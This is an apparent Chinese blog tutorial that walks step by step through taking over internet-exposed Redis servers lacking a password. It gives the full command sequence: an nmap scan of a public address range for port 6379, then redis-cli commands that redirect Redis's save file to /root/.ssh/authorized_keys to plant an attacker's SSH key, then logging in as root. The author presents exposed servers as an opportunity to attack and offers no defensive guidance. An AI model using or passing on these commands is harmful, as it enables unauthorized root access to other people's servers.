以下为本篇文章全部内容:
大家好,我是Sunny。随着网站的流量剧增和发展需求不少网站都会选择nosql这样的数据库对大数据的一些处理,还有选择缓存服务器,有点人选择memcached有的人选择redis,其实他们两个都是差不多的东西,只是memcached比较单一,redis比较丰富点。今天就讲讲这个redis的一些安全常识,由于redis是分布式的,很多人通常都没有注意到安全问题。因为默认没有密码进行连接,还有一些粗心的运维会把redis开放到公网上面,这就给我们造成了一次很好的下手机会。
教程步骤:
1、扫描端口查找有redis服务的服务器
2、连接查看是否需要授权
3、查看config dir
4、设置config dir
5、生成私钥和公钥
6、上传公钥到服务器
7、把公钥设置到服务器私钥认证文件
8、使用私钥登陆服务器
第一步:
扫描端口看看有哪些redis服务在公网上可以直接访问到,redis默认端口是6379,所以我们直接扫码这个端口就行了。我使用的扫描工具是nmap
nmap -sT -p 6379 112.74.111.0/24 | grep --color -B5 open
上面命令是扫码112.74.111.0的整个ip端开放有6379端口的服务器。
第二步:
连接看看能否连接上redis
redis-cli -h 扫描出来的ip
第三步:
查看config dir路径,看看是不是/root/.ssh
config get dir
第四步:
把config dir路径设置成/root/.ssh
config set dir "/root/.ssh"
第五步:
生成公私钥
ssh-keygen -t rsa
第六步:
上传公钥到服务器
(echo -e "\n\n";cat 公钥文件名.pub;echo -e "\n\n";) > sunny.txt cat sunny.txt | redis-cli -h 服务器地址 -x set sunny
第七步:
设置redis文件存储到/root/.ssh里面去,由于redis里面存在了我们的公钥所以我们可以实现免密码登陆
config set dbfilename "authorized_keys" save
第八步:
登陆服务器
ssh -i 私钥文件名 root@服务器ip
总赞数量:18274
总踩数量:128087
文章数量:29